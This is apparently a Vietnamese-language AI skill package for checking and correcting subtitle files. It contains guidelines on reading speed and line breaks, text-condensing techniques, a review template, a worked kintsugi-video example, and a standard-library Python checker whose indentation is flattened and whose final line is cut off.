Bạn giúp các nhà làm video, biên dịch viên và đội ngũ hỗ trợ tiếp cận (accessibility) xuất bản những bản phụ đề mà người xem thực sự có thể đọc kịp và thoải mái. Bạn tìm ra các lỗi mốc thời gian làm hỏng trình phát video, các thẻ phụ đề (cues) xuất hiện quá chớp nhoáng hoặc chứa quá nhiều chữ, và các dòng quá dài, đồng thời khắc phục chúng bằng cách viết lại câu chữ cô đọng hơn và điều chỉnh lại thời gian mà không làm thay đổi ý nghĩa gốc.
## Các tệp trong kỹ năng này
- `scripts/check_subtitles.py` - phân tích cú pháp SRT và WebVTT, kiểm tra thời gian, đánh số thứ tự, tốc độ đọc, độ dài dòng, số lượng dòng, thời lượng hiển thị, khoảng nghỉ giữa các câu, thẻ định dạng và nhãn âm thanh, đồng thời có thể dịch chuyển toàn bộ mốc thời gian (chỉ sử dụng thư viện chuẩn của Python 3)
- `references/subtitle-guidelines.md` - các giới hạn tiêu chuẩn phổ biến về tốc độ đọc, độ dài dòng, thời lượng hiển thị, khoảng nghỉ, ngắt dòng và thời điểm sử dụng nhãn SDH
- `references/condensing-techniques.md` - cách rút gọn văn bản phụ đề mà không làm mất ý nghĩa, và cách căn chỉnh lại thời gian cho các thẻ phụ đề (cues)
- `templates/subtitle-review.md` - mẫu báo cáo đánh giá để trả về cho người dùng
- `examples/example-workshop-video.md` - một bài đánh giá hoàn chỉnh thực tế cho một video hướng dẫn ngắn
## Quy trình làm việc
### 1. Thu thập thông tin thực tế
Hỏi người dùng, hoặc tự đặt giả định hợp lý và nêu rõ giả định đó:
- Tệp đầu vào (SRT hoặc VTT) và tổng thời lượng video; tốc độ khung hình nếu biết (24, 25 hoặc 30 fps).
- Đối tượng khán giả và quy chuẩn phong cách (style guide): khán giả trưởng thành nói chung, trẻ em, quy chuẩn của một nền tảng cụ thể, hay giới hạn riêng của khách hàng.
- Loại phụ đề: phụ đề cùng ngôn ngữ (captions), phụ đề dịch thuật, hay phụ đề SDH (dành cho người điếc và khiếm thính, có kèm nhãn mô tả âm thanh).
- Liệu bạn được phép viết lại rút gọn câu chữ hay chỉ được phép điều chỉnh mốc thời gian.
### 2. Chạy trình kiểm tra
```bash
python3 scripts/check_subtitles.py movie.srt
python3 scripts/check_subtitles.py movie.srt --max-cps 15 --max-line 37 # children or stricter guides
python3 scripts/check_subtitles.py movie.vtt --json
python3 scripts/check_subtitles.py movie.srt --shift -1200 > movie-synced.srt # whole file 1.2 s earlier
```
Giá trị mặc định: 17 ký tự mỗi giây, 42 ký tự mỗi dòng, tối đa 2 dòng, hiển thị từ 0.833 đến 7 giây trên màn hình, khoảng nghỉ tối thiểu 83 ms. Hãy chọn các ngưỡng giới hạn từ `references/subtitle-guidelines.md` sao cho phù hợp với đối tượng khán giả. Nếu bạn không thể chạy kịch bản kiểm tra, hãy kiểm tra thủ công từng thẻ phụ đề (cue): thời lượng hiển thị, số ký tự chia cho số giây, dòng dài nhất, và sự chồng lấp thời gian với thẻ phụ đề kế tiếp.
### 3. Sửa lỗi theo thứ tự ưu tiên sau
1. Xử lý các phát hiện mức HIGH trước tiên: chồng lấp thời gian, thẻ phụ đề sai thứ tự thời gian, thời điểm kết thúc đứng trước thời điểm bắt đầu, mốc thời gian sai định dạng, thẻ phụ đề trống. Những lỗi này làm hỏng trình phát hoặc làm ẩn mất chữ.
2. Tốc độ đọc (Reading speed): kéo dài thời gian hiển thị của thẻ phụ đề sang khoảng thời gian trống phía trước hoặc phía sau nó (tuân thủ khoảng nghỉ tối thiểu và các điểm chuyển cảnh mà người dùng đề cập), nếu không đủ thì rút gọn văn bản theo hướng dẫn trong `references/condensing-techniques.md`, nếu vẫn không được thì tách thẻ phụ đề thành hai phần tại một nhịp nghỉ tự nhiên.
3. Độ dài dòng và số lượng dòng: ngắt lại dòng tại ranh giới cụm từ tự nhiên; ưu tiên giữ cho dòng trên ngắn hơn khi có thể; tuyệt đối không ngắt dòng giữa mạo từ/lượng từ và danh từ đi kèm.
4. Hiển thị quá ngắn hoặc quá dài trên màn hình: gộp các thẻ phụ đề quá ngắn với thẻ liền kề, tách nhỏ các thẻ quá dài.
5. Các mục mức INFO: đánh lại số thứ tự, đóng mở thẻ định dạng cho cân xứng, xóa nhãn mô tả âm thanh khỏi các tệp không phải SDH, nối liền các thẻ phụ đề (khoảng nghỉ 0 ms) hoặc chừa một khoảng nghỉ đủ rõ.
Chạy lại trình kiểm tra trên tệp đã sửa cho đến khi không còn phát hiện mức HIGH nào và mọi cảnh báo mức WARN đều đã được sửa hoặc được giải thích rõ ràng.
### 4. Bàn giao kết quả
Điền vào mẫu `templates/subtitle-review.md`: bản tóm tắt kèm số liệu thống kê trước và sau khi sửa, các ngưỡng giới hạn đã áp dụng, bảng liệt kê các thẻ phụ đề đã thay đổi (thời gian và nội dung cũ so với mới), cùng toàn bộ tệp đã được chỉnh sửa hoàn chỉnh giữ đúng định dạng đầu vào. Tuân theo phong cách trình bày của `examples/example-workshop-video.md`.
## Quy tắc
- Tuyệt đối không làm thay đổi ý nghĩa, giọng điệu hoặc người nói của câu thoại; chỉ cắt gọn các từ đệm rườm rà chứ không cắt bỏ nội dung thông tin.
- Giữ nguyên chính xác tên riêng, con số và thuật ngữ kỹ thuật; nếu phát hiện một thuật ngữ có vẻ sai, hãy gắn cờ cảnh báo thay vì tự ý đoán mò.
- Mọi thay đổi về mốc thời gian phải giữ đồng bộ với lời nói: chỉ kéo dài thẻ phụ đề lấn vào khoảng im lặng, tối đa khoảng 0.5 giây trước khi lời nói bắt đầu hoặc 1 giây sau khi lời nói kết thúc, trừ khi người dùng cho phép nới rộng hơn.
- Giữ nguyên định dạng đầu vào (tệp SRT giữ nguyên SRT, tệp VTT giữ nguyên VTT) và bảng mã gốc (UTF-8).
- Nêu rõ những phát hiện nào bạn không thể tự sửa nếu không được nghe trực tiếp âm thanh hoặc xem hình ảnh video.
FILE:references/subtitle-guidelines.md
# Quy chuẩn phụ đề: các ngưỡng giới hạn phổ biến
Các đài truyền hình và nền tảng phát trực tuyến khác nhau đều công bố bộ quy chuẩn phong cách (style guide) riêng của họ. Các giá trị dưới đây là những mốc khởi đầu phổ biến; hãy luôn ưu tiên quy chuẩn của khách hàng hoặc của nền tảng đích khi có sẵn, và nêu rõ bạn đã sử dụng bộ giới hạn nào.
## Tốc độ đọc (số ký tự trên giây - characters per second, CPS)
CPS = tổng số ký tự hiển thị nhìn thấy được trong thẻ phụ đề (chữ cái, chữ số, khoảng trắng, dấu câu; không tính các thẻ định dạng HTML/tag) chia cho số giây hiển thị trên màn hình.
| Đối tượng khán giả | Giới hạn CPS điển hình |
|---|---|
| Khán giả trưởng thành nói chung, phụ đề cùng ngôn ngữ hoặc dịch thuật | 15 đến 17 |
| Nội dung người lớn có nhịp độ nhanh nơi bộ quy chuẩn cho phép | tối đa 20 |
| Trẻ em (khoảng từ 6 đến 11 tuổi) | 12 đến 13 |
| Người đang học ngôn ngữ đó, phụ đề SDH có nhiều nhãn mô tả âm thanh | 13 đến 15 |
Số từ trên phút (words per minute - wpm) là thước đo cũ hơn; khoảng 160 đến 180 wpm tương ứng với khoảng 15 đến 17 CPS trong tiếng Anh.
## Độ dài dòng và số lượng dòng
- Từ 37 đến 42 ký tự mỗi dòng đối với hầu hết các ngôn ngữ dùng chữ viết Latinh; 42 là giới hạn hiện đại phổ biến nhất.
- Tối đa 2 dòng trên mỗi thẻ phụ đề (cue). Dòng thứ ba sẽ che khuất hình ảnh và rất khó đọc kịp.
- Sử dụng một dòng khi văn bản nằm gọn trên một dòng; chỉ ngắt thành hai dòng khi thực sự cần thiết.
## Thời lượng hiển thị trên màn hình
- Tối thiểu: khoảng 5/6 giây (20 khung hình ở tốc độ 24 fps), ngay cả đối với một từ đơn lẻ, để mắt người xem kịp ghi nhận.
- Tối đa: khoảng 7 giây. Các thẻ phụ đề hiển thị lâu hơn sẽ khiến người xem đọc đi đọc lại và tạo cảm giác bị treo; hãy tách nhỏ chúng ra.
## Khoảng nghỉ giữa các thẻ phụ đề (Gaps)
- Các thẻ phụ đề nối tiếp (Chained cues): khoảng nghỉ 0 ms hoàn toàn ổn khi lời thoại diễn ra liên tục không ngắt quãng.
- Trong các trường hợp khác, hãy chừa ít nhất 2 khung hình (83 ms ở 24 fps, 80 ms ở 25 fps) để người xem nhận biết được rằng dòng chữ trên màn hình vừa thay đổi.
- Các khoảng nghỉ nằm trong khoảng từ 1 ms đến dưới 2 khung hình sẽ gây ra hiện tượng nhấp nháy chữ rất khó chịu và cần phải được khép kín về 0 hoặc mở rộng ra.
## Ngắt dòng (Line breaks)
Hãy ngắt dòng tại các đơn vị ngôn ngữ tự nhiên:
- Sau dấu câu (dấu phẩy, dấu chấm) khi có thể.
- Trước các liên từ (và, nhưng, bởi vì / and, but, because) và giới từ.
- Tuyệt đối không ngắt dòng giữa mạo từ và danh từ của nó, giữa tính từ và danh từ đi kèm, giữa họ và tên riêng, hoặc giữa động từ chính và trợ động từ.
- Ưu tiên bố cục hình kim tự tháp (dòng trên ngắn hơn dòng dưới) khi cả hai vị trí ngắt dòng đều tự nhiên ngang nhau.
## Đồng bộ thời gian với lời thoại và cảnh quay (shots)
- Bắt đầu hiển thị thẻ phụ đề ngay khi lời thoại bắt đầu (sớm hơn vài khung hình vẫn ổn), và kết thúc không quá khoảng 1 giây sau khi lời thoại dứt.
- Tránh để một thẻ phụ đề kéo dài vắt ngang qua một cú cắt chuyển cảnh cứng (hard shot change); hãy kết thúc phụ đề trước điểm cắt vài khung hình hoặc bắt đầu hiển thị sau điểm cắt.
## Phụ đề SDH và chú thích âm thanh (captions)
- Các nhãn mô tả âm thanh như [tiếng đóng sầm cửa] / [door slams] hoặc (NHẠC) / (MUSIC) và nhãn định danh người nói thuộc về phụ đề SDH/closed captions, không dùng trong phụ đề dịch thuật tiêu chuẩn.
- Giữ cho các nhãn ngắn gọn, viết chữ thường đặt trong ngoặc vuông là phong cách hiện đại phổ biến nhất, và đặt chúng đúng vào thời điểm âm thanh đó phát ra.
## Định dạng (Formatting)
- Chữ in nghiêng dùng cho giọng nói ngoài khung hình (off-screen), giọng thuyết minh (voice-over), lời bài hát và từ ngữ nước ngoài, nếu quy chuẩn có sử dụng. Mọi thẻ mở định dạng đều bắt buộc phải có thẻ đóng tương ứng ngay trong cùng thẻ phụ đề đó.
- Không đặt dấu chấm câu ở cuối các cụm từ đơn lẻ trên một dòng là một lựa chọn về phong cách; hãy tuân theo quy chuẩn của dự án.
- Định dạng SRT: số thứ tự thẻ phụ đề, dòng mốc thời gian `00:01:02,500 --> 00:01:04,000`, nội dung văn bản, dòng trống. Định dạng VTT: dòng tiêu đề `WEBVTT`, mã định danh cue (tùy chọn), mốc thời gian dùng dấu chấm `00:01:02.500`.
FILE:references/condensing-techniques.md
# Kỹ thuật rút gọn văn bản và căn chỉnh lại thời gian phụ đề
Khi một thẻ phụ đề có tốc độ đọc quá nhanh, hãy thử lần lượt các cách dưới đây theo đúng thứ tự. Dừng lại ngay khi thẻ phụ đề đã nằm trong ngưỡng giới hạn cho phép.
## 1. Tận dụng khoảng thời gian trống trước tiên (không thay đổi văn bản)
- Quan sát khoảng trống thời gian phía trước và phía sau thẻ phụ đề đó. Kéo điểm bắt đầu lùi về sớm hơn tối đa khoảng 0.5 giây nếu không có ai khác đang nói, và kéo điểm kết thúc trễ hơn tối đa khoảng 1 giây nếu thẻ phụ đề tiếp theo bắt đầu muộn hơn.
- Giữ khoảng nghỉ tối thiểu (2 khung hình) với các thẻ phụ đề liền kề, hoặc nối liền nhau ở mức 0 ms.
- Thời gian cần thiết cho một thẻ phụ đề = số ký tự / giới hạn CPS. Ví dụ: 68 ký tự ở mức giới hạn 17 CPS cần 4.0 giây hiển thị.
## 2. Cắt bỏ từ đệm, giữ lại nội dung chính
Loại bỏ những từ mà người xem đằng nào cũng đã nghe thấy hoặc nhìn thấy:
- Các từ ngập ngừng và từ đệm: "à thì" ("well"), "bạn biết đấy" ("you know"), "ý tôi là" ("I mean"), "ờm" ("um"), "vậy nên về cơ bản là" ("so, basically").
- Các từ lặp lại: "rất, rất" ("very, very") -> "rất" ("very"); các câu nói nhịu ở đầu câu.
- Lời chào hỏi và tên gọi đã quá rõ ràng thông qua hình ảnh trên màn hình.
- Câu hỏi đuôi khi giọng điệu đã thể hiện rõ ý hỏi: "It's ready, isn't it?" -> "It's ready?" chỉ áp dụng khi ý nghĩa câu không đổi.
## 3. Sử dụng các cụm từ ngắn gọn hơn
| Cụm từ dài | Cụm từ ngắn |
|---|---|
| we are going to | we'll |
| at this point in time | now |
| in order to | to |
| a large number of | many |
| it is not possible to | you can't |
| I would like to show you | let me show you |
| due to the fact that | because |
Dạng viết tắt rút gọn (contractions) thường hoàn toàn phù hợp trong phụ đề; hãy tuân theo quy chuẩn riêng nếu đó là nội dung trang trọng.
## 4. Đơn giản hóa cấu trúc câu
- Chuyển câu bị động thành câu chủ động: "Chiếc bát được làm sạch bởi người nghệ nhân" ("The bowl was cleaned by the artist") -> "Người nghệ nhân làm sạch chiếc bát" ("The artist cleans the bowl").
- Thay thế cả một mệnh đề dài bằng một từ đơn lẻ khi có thể.
- Tách một câu dài thành hai thẻ phụ đề ngắn hơn tại một nhịp nghỉ tự nhiên.
## 5. Tách hoặc gộp các thẻ phụ đề (cues)
- Tách một thẻ phụ đề kéo dài hơn khoảng 7 giây, hoặc có tới dòng thứ 3, tại một nhịp nghỉ hoặc dấu câu; phân bổ thời lượng cho mỗi nửa tỷ lệ thuận với số lượng ký tự của nó.
- Gộp một thẻ phụ đề ngắn dưới khoảng 0.8 giây với thẻ phụ đề liền kề khi cùng một người nói và kết quả sau khi gộp vẫn nằm trong các ngưỡng giới hạn cho phép.
## Những gì tuyệt đối không được cắt bỏ
- Tên riêng, con số, số lượng, ngày tháng, thuật ngữ kỹ thuật và các từ phủ định ("không", "chưa bao giờ" / "not", "never").
- Những từ mang điểm nhấn hài hước (punchline), bước ngoặt bất ngờ hoặc cảm xúc chủ đạo của câu thoại.
- Thông tin mà người xem cần nắm để hiểu các phần sau của video.
## Căn chỉnh lại thời gian cho toàn bộ tệp (Retiming)
Nếu tất cả các thẻ phụ đề đều bị sớm hoặc muộn cùng một khoảng thời gian như nhau, hãy dịch chuyển mốc thời gian của toàn bộ tệp thay vì sửa từng thẻ phụ đề riêng lẻ:
```bash
python3 scripts/check_subtitles.py movie.srt --shift 1500 > movie-shifted.srt # 1.5 s later
python3 scripts/check_subtitles.py movie.srt --shift -800 > movie-shifted.srt # 0.8 s earlier
```
Nếu độ lệch tăng dần theo thời gian (đồng bộ ở đầu video nhưng bị trễ ở cuối video), rất có thể tốc độ khung hình (frame rate) đã bị chọn sai (ví dụ: 23.976 so với 25 fps); việc dịch chuyển một khoảng thời gian cố định sẽ không khắc phục được lỗi này. Hãy nêu rõ điều đó và hỏi người dùng tốc độ khung hình chính xác của video.
FILE:templates/subtitle-review.md
# Đánh giá phụ đề: file_name
**Video:** video_title (duration, fps fps)
**Loại phụ đề:** translation / same-language captions / SDH
**Ngưỡng giới hạn áp dụng:** cps ký tự/giây, line ký tự/dòng, tối đa lines dòng, hiển thị từ min_dur đến max_dur giây trên màn hình, khoảng nghỉ tối thiểu gap ms (source_of_limits)
## Tóm tắt
| | Trước khi sửa | Sau khi sửa |
|---|---|---|
| Số thẻ phụ đề (Cues) | | |
| HIGH | | |
| WARN | | |
| INFO | | |
| Trung bình ký tự/giây | | |
Các vấn đề chính tóm gọn trong một hoặc hai câu.
## Chi tiết các thay đổi
| Thẻ (Cue) | Vấn đề | Thời gian cũ | Thời gian mới | Nội dung cũ | Nội dung mới |
|---|---|---|---|---|---|
| | | | | | |
## Chưa khắc phục (cần nghe âm thanh hoặc xem video)
- Thẻ phụ đề (Cue) ..., lý do ...
## Ghi chú dành cho biên tập viên
- Các lựa chọn về phong cách đã áp dụng (chữ in nghiêng, viết tắt rút gọn, nhãn âm thanh).
- Bất kỳ điểm nào cần đối chiếu trực tiếp với hình ảnh (điểm cắt chuyển cảnh, chữ hiển thị sẵn trên màn hình).
## Tệp đã chỉnh sửa hoàn chỉnh
```
(toàn bộ nội dung tệp SRT hoặc VTT đã sửa đặt tại đây, giữ cùng định dạng với tệp đầu vào)
```
FILE:examples/example-workshop-video.md
# Ví dụ: đánh giá phụ đề của một video hướng dẫn ngắn
## Yêu cầu của người dùng
"Đây là phụ đề tiếng Anh cho đoạn video ngắn dài 25 giây về buổi hướng dẫn nghệ thuật kintsugi của chúng tôi. Người xem phản hồi rằng họ không đọc kịp. Bạn có thể kiểm tra và sửa những chỗ chưa ổn giúp tôi được không? Khán giả trưởng thành nói chung, phụ đề thông thường, không phải SDH."
## Đầu vào (trích đoạn của tệp interview.srt)
```
2
00:00:03,250 --> 00:00:04,000
Today we are going to look at how to repair a cracked ceramic bowl with gold.
3
00:00:03,900 --> 00:00:06,500
[HAMMER TAPPING]
First, clean the edges.
5
00:00:07,000 --> 00:00:16,000
<i>This technique is called kintsugi.
```
## Kết quả chạy trình kiểm tra
```
$ python3 scripts/check_subtitles.py interview.srt
interview.srt (SRT): 8 cues, 00:00:01,000 to 00:00:24,000, avg 16.3 chars/s, avg 2.37 s on screen
HIGH 3 WARN 9 INFO 3
HIGH overlap cue 3 @ 00:00:03,900: overlaps the previous cue by 100 ms; end the previous cue at 00:00:03,817
HIGH end-before-start cue 8 @ 00:00:21,000: ends at 00:00:20,500, not after its start
HIGH empty-cue cue 9 @ 00:00:22,000: cue has no visible text
WARN too-short cue 2 @ 00:00:03,250: on screen 0.75 s (minimum 0.83 s)
WARN reading-speed cue 2 @ 00:00:03,250: 102.7 chars/s (limit 17); needs 4.53 s on screen or about 64 fewer chars
...
```
## Bản đánh giá (bản mẫu đã điền, rút gọn)
**Ngưỡng giới hạn áp dụng:** 17 ký tự/giây, 42 ký tự/dòng, tối đa 2 dòng, 0.833 đến 7 giây, khoảng nghỉ 83 ms (các giá trị tiêu chuẩn phổ biến cho khán giả đại chúng; khách hàng không cung cấp quy chuẩn riêng).
| | Trước khi sửa | Sau khi sửa |
|---|---|---|
| Số thẻ phụ đề (Cues) | 8 | 8 |
| HIGH | 3 | 0 |
| WARN | 9 | 0 |
| INFO | 3 | 0 |
Các vấn đề chính: thẻ phụ đề số 2 chứa cả một câu dài nhưng chỉ hiển thị chưa đầy một giây, hai thẻ phụ đề có mốc thời gian bị lỗi, một thẻ phụ đề dài 9 giây hiển thị quá lâu trên màn hình, và thẻ phụ đề số 7 có tới ba dòng dài. Tất cả đã được khắc phục bằng cách rút gọn từ đệm, tận dụng khoảng im lặng sau lời thoại và tách nhỏ một thẻ phụ đề.
| Thẻ (Cue) | Vấn đề | Thời gian cũ | Thời gian mới | Nội dung cũ | Nội dung mới |
|---|---|---|---|---|---|
| 2 | 102.7 ký tự/giây, dòng 77 ký tự, chồng lấp với thẻ 3 | 03,250-04,000 | 03,300-06,600 | Today we are going to look at how to repair a cracked ceramic bowl with gold. | Today we'll repair a cracked bowl / with lacquer and gold. |
| 3 | chứa nhãn âm thanh trong tệp không phải SDH, chồng lấp | 03,900-06,500 | 06,700-08,200 | [HAMMER TAPPING] / First, clean the edges. | First, clean the edges. |
| 4 (cũ là 5) | hiển thị 9 giây, thẻ in nghiêng chưa đóng, nhảy cóc số thứ tự | 07,000-16,000 | 08,300-11,000 | `<i>`This technique is called kintsugi. | `<i>`This technique is called kintsugi.`</i>` |
| 5 (cũ là 6) | hiển thị 0.4 giây trên màn hình | 16,000-16,400 | 16,000-16,900 | Okay. | Okay. |
| 6 và 7 (cũ là 7) | 56 ký tự/giây, 3 dòng, dòng 67 ký tự | 17,000-19,000 | 17,000-21,000 và 21,100-22,800 | You will need lacquer, a fine brush, and gold powder, and patience, / lots of patience, / because each layer must dry. | You'll need lacquer, a fine brush, / gold powder, and lots of patience. + Each layer must dry first. |
| 8 (cũ là 8) | thời điểm kết thúc đứng trước bắt đầu | 21,000-20,500 | 22,900-24,000 | Let's start. | Let's start. |
| 9 | thẻ phụ đề trống | 22,000-24,000 | đã xóa | | |
Lưu ý: thẻ phụ đề số 2 cũ được rút gọn ("look at how to", "ceramic") chỉ ở những chi tiết mà hình ảnh đã thể hiện rõ; từ "lacquer" (sơn mài) được bổ sung vì người nói nhắc đến nó vài giây sau đó và người xem cần thông tin này.
**Chưa khắc phục:** không có, nhưng vui lòng đối chiếu lại với video để xác nhận rằng người nói có ngừng nghỉ sau từ "gold" (thẻ phụ đề số 2 hiện kéo dài thêm 2.6 giây, lấn vào khoảng có vẻ là im lặng) và câu "Let's start." được nói vào khoảng giây thứ 22.9.
Kiểm tra lại tệp đã chỉnh sửa:
```
$ python3 scripts/check_subtitles.py interview-fixed.srt
interview-fixed.srt (SRT): 8 cues, 00:00:01,000 to 00:00:24,000, avg 14.5 chars/s, avg 2.17 s on screen
HIGH 0 WARN 0 INFO 0
no problems found
```
FILE:scripts/check_subtitles.py
#!/usr/bin/env python3
"""Check SRT or WebVTT subtitle files for timing and readability problems.
Usage:
python3 check_subtitles.py FILE [FILE ...] [options]
python3 check_subtitles.py - < movie.srt (read stdin)
Options:
--max-cps N maximum characters per second (default 17)
--max-line N maximum characters per line (default 42)
--max-lines N maximum lines per cue (default 2)
--min-dur S minimum cue duration in seconds (default 0.833, 20 frames at 24 fps)
--max-dur S maximum cue duration in seconds (default 7.0)
--min-gap MS minimum gap between cues in milliseconds (default 83, 2 frames at 24 fps)
--shift MS print the file with every timestamp shifted by MS (may be negative) and exit
--json print findings as JSON
--fail-on LEVEL exit 1 if any finding is at least LEVEL: high (default), warn, info
Findings: HIGH = broken or overlapping timing, unreadable numbering, empty cue;
WARN = reading speed, line length, too many lines, too short or long on screen;
INFO = tiny gaps, unbalanced tags, hearing-impaired brackets, statistics.
Exit codes: 0 ok, 1 findings at or above --fail-on, 2 usage or parse error.
Python 3 standard library only.
"""
import json
import math
import re
import sys
TS = re.compile(r"^\s*(\d{1,2}:)?(\d{1,2}):(\d{2})[,.](\d{1,3})\s*-->\s*(\d{1,2}:)?(\d{1,2}):(\d{2})[,.](\d{1,3})(.*)$")
TAG = re.compile(r"</?[^>]+>|\{\\[^}]*\}")
LEVELS = {"info": 0, "warn": 1, "high": 2}
def to_ms(h, m, s, ms):
h = int(h[:-1]) if h else 0
return ((h * 60 + int(m)) * 60 + int(s)) * 1000 + int(ms.ljust(3, "0"))
def fmt(ms, vtt=False):
sign = "-" if ms < 0 else ""
ms = abs(ms)
h, rem = divmod(ms, 3600000)
m, rem = divmod(rem, 60000)
s, rem = divmod(rem, 1000)
sep = "." if vtt else ","
return f"{sign}{h:02d}:{m:02d}:{s:02d}{sep}{rem:03d}"
def parse(text):
"""Return (cues, errors, is_vtt). Each cue: dict(index, start, end, lines, line_no)."""
text = text.replace("\r\n", "\n").replace("\r", "\n").lstrip("\ufeff")
is_vtt = text.lstrip().startswith("WEBVTT")
blocks = re.split(r"\n\s*\n", text.strip("\n"))
cues, errors = [], []
line_no = 1
for block in blocks:
lines = block.split("\n")
start_line = line_no
line_no += len(lines) + 1
if is_vtt and (lines[0].startswith("WEBVTT") or lines[0].startswith("NOTE") or lines[0].startswith("STYLE") or lines[0].startswith("REGION")):
continue
ts_i = next((i for i, ln in enumerate(lines[:3]) if "-->" in ln), None)
if ts_i is None:
errors.append({"level": "high", "rule": "unparsed-block", "line": start_line,
"message": f"block without a timestamp line: {lines[0][:50]!r}"})
continue
m = TS.match(lines[ts_i])
if not m:
errors.append({"level": "high", "rule": "bad-timestamp", "line": start_line + ts_i,
"message": f"cannot read timestamp {lines[ts_i].strip()!r} (expected 00:01:02,500 --> 00:01:04,000)"})
continue
g = m.groups()
index = lines[0].strip() if ts_i == 1 else None
cues.append({"index": index, "start": to_ms(*g[0:4]), "end": to_ms(*g[4:8]),
"lines": [ln for ln in lines[ts_i + 1:]], "line_no": start_line})
return cues, errors, is_vtt
def visible(line):
return TAG.sub("", line).strip()
def check(cues, errors, opts, is_vtt):
out = list(errors)
def add(level, rule, cue, msg):
out.append({"level": level, "rule": rule, "line": cue["line_no"],
"cue": cue["index"] or "-", "time": fmt(cue["start"], is_vtt), "message": msg})
if not is_vtt:
expected = 1
for c in cues:
if c["index"] is None or not c["index"].isdigit():
add("high", "bad-number", c, f"cue number missing or not a number: {c['index']!r}")
elif int(c["index"]) != expected:
add("warn", "numbering", c, f"cue number {c['index']} but expected {expected} (renumber the file)")
expected = int(c["index"])
expected += 1
prev = None
for c in cues:
dur = (c["end"] - c["start"]) / 1000
text_lines = [visible(ln) for ln in c["lines"] if visible(ln)]
chars = sum(len(ln) for ln in text_lines)
if c["end"] <= c["start"]:
add("high", "end-before-start", c, f"ends at {fmt(c['end'], is_vtt)}, not after its start")
if not text_lines:
add("high", "empty-cue", c, "cue has no visible text")
if prev is not None:
gap = c["start"] - prev["end"]
if c["start"] < prev["start"]:
add("high", "out-of-order", c, f"starts before the previous cue ({fmt(prev['start'], is_vtt)}); sort by time")
elif gap < 0:
add("high", "overlap", c, f"overlaps the previous cue by {-gap} ms; end the previous cue at {fmt(c['start'] - opts['min_gap'], is_vtt)}")
elif 0 < gap < opts["min_gap"]:
add("info", "tiny-gap", c, f"only {gap} ms after the previous cue; use 0 ms (chained) or at least {opts['min_gap']} ms so the change is visible")
if c["end"] > c["start"] and text_lines:
if dur < opts["min_dur"]:
add("warn", "too-short", c, f"on screen {dur:.2f} s (minimum {opts['min_dur']:.2f} s)")
if dur > opts["max_dur"]:
add("warn", "too-long", c, f"on screen {dur:.2f} s (maximum {opts['max_dur']:.1f} s); split it or shorten the time")
cps = chars / dur if dur > 0 else float("inf")
if cps > opts["max_cps"]:
need = chars / opts["max_cps"]
cut = max(1, math.ceil(chars - opts["max_cps"] * dur))
add("warn", "reading-speed", c, f"{cps:.1f} chars/s (limit {opts['max_cps']:g}); needs {need:.2f} s on screen or about {cut} fewer chars")
for ln in text_lines:
if len(ln) > opts["max_line"]:
add("warn", "line-length", c, f"line has {len(ln)} chars (limit {opts['max_line']}): {ln[:60]!r}")
if len(text_lines) > opts["max_lines"]:
add("warn", "too-many-lines", c, f"{len(text_lines)} lines (limit {opts['max_lines']})")
raw = " ".join(c["lines"])
for tag in ("i", "b", "u"):
if len(re.findall(rf"<{tag}>", raw, re.I)) != len(re.findall(rf"</{tag}>", raw, re.I)):
add("info", "unbalanced-tag", c, f"<{tag}> tags are not balanced in this cue")
if re.search(r"\[[^\]]+\]|\([A-Z][A-Z ]+\)", raw):
add("info", "sdh-label", c, "contains a sound or speaker label in brackets; keep it only in SDH/CC files")
prev = c
return out
def stats(cues, is_vtt=False):
if not cues:
return {}
total_chars = sum(len(visible(ln)) for c in cues for ln in c["lines"])
total_time = sum(max(c["end"] - c["start"], 0) for c in cues) / 1000
return {"cues": len(cues), "first": fmt(cues[0]["start"], is_vtt), "last_end": fmt(max(c["end"] for c in cues), is_vtt),
"avg_cps": round(total_chars / total_time, 1) if total_time else None,
"avg_duration_s": round(total_time / len(cues), 2)}
def shift_text(text, delta):
def rep(m):
g = m.groups()
vtt = "." in m.group(0).split("-->")[0]
a = max(to_ms(*g[0:4]) + delta, 0)
b = max(to_ms(*g[4:8]) + delta, 0)
return f"{fmt(a, vtt)} --> {fmt(b, vtt)}{g[8]}"
return "\n".join(TS.sub(rep, ln) if "-->" in ln else ln
for ln in text.replace("\r\n", "\n").split("\n"))
def main(argv):
opts = {"max_cps": 17.0, "max_line": 42, "max_lines": 2, "min_dur": 0.833, "max_dur": 7.0,
"min_gap": 83, "json": False, "fail_on": "high", "shift": None}
files = []
it = iter(argv)
try:
for a in it:
if a == "--json":
opts["json"] = True
elif a in ("--max-cps", "--min-dur", "--max-dur"):
opts[a[2:].replace("-", "_")] = float(next(it))
elif a in ("--max-line", "--max-lines", "--min-gap", "--shift"):
opts[a[2:].replace("-", "_")] = int(next(it))
elif a == "--fail-on":
opts["fail_on"] = next(it).lower()
if opts["fail_on"] not in LEVELS:
raise ValueError("--fail-on must be high, warn, or info")
elif a in ("-h", "--help"):
print(__doc__)
return 0
elif a.startswith("--"):
raise ValueError(f"unknown option {a}")
else:
files.append(a)
except (StopIteration, ValueError) as e:
print(f"error: {e or 'option needs a value'}", file=sys.stderr)
return 2
if not files:
print("error: give at least one .srt or .vtt file, or - for stdin", file=sys.stderr)
return 2
report, worst = [], -1
for f in files:
try:
text = sys.stdin.read() if f == "-" else open(f, encoding="utf-8-sig").read()
except (OSError, UnicodeDecodeError) as e:
print(f"error: cannot read {f}: {e}", file=sys.stderr)
return 2
if opts["shift"] is not None:
sys.stdout.write(shift_text(text, opts["shift"]))
return 0
cues, errors, is_vtt = parse(text)
if not cues:
print(f"error: {f}: no subtitle cues found (is this an SRT or WebVTT file?)", file=sys.stderr)
return 2
findings = check(cues, errors, opts, is_vtt)
for x in findings:
worst = max(worst, LEVELS[x["level"]])
report.append({"file": f, "format": "vtt" if is_vtt else "srt", "stats": stats(cues, is_vtt), "findings": findings})
if opts["json"]:
print(json.dumps(report, indent=2))
else:
for r in report:
counts = {lv: sum(1 for x in r["findings"] if x["level"] == lv) for lv in ("high", "warn", "info")}
st = r["stats"]
print(f"{r['file']} ({r['format'].upper()}): {st['cues']} cues, {st['first']} to {st['last_end']}, "
f"avg {st['avg_cps']} chars/s, avg {st['avg_duration_s']} s on screen")
print(f" HIGH {counts['high']} WARN {counts['warn']} INFO {counts['info']}")
for x in sorted(r["findings"], key=lambda x: (-LEVELS[x["level"]], x["line"])):
where = f"cue {x.get('cue', '-')} @ {x['time']}" if "time" in x else f"line {x['line']}"
print(f" {x['level'].upper():<4} {x['rule']:<16} {where}: {x['message']}")
if not r["findings"]:
print(" no problems found")
return 1 if worst >= LEVELS[opts["fail_on"]] else 0
if __name__ == "__main__":
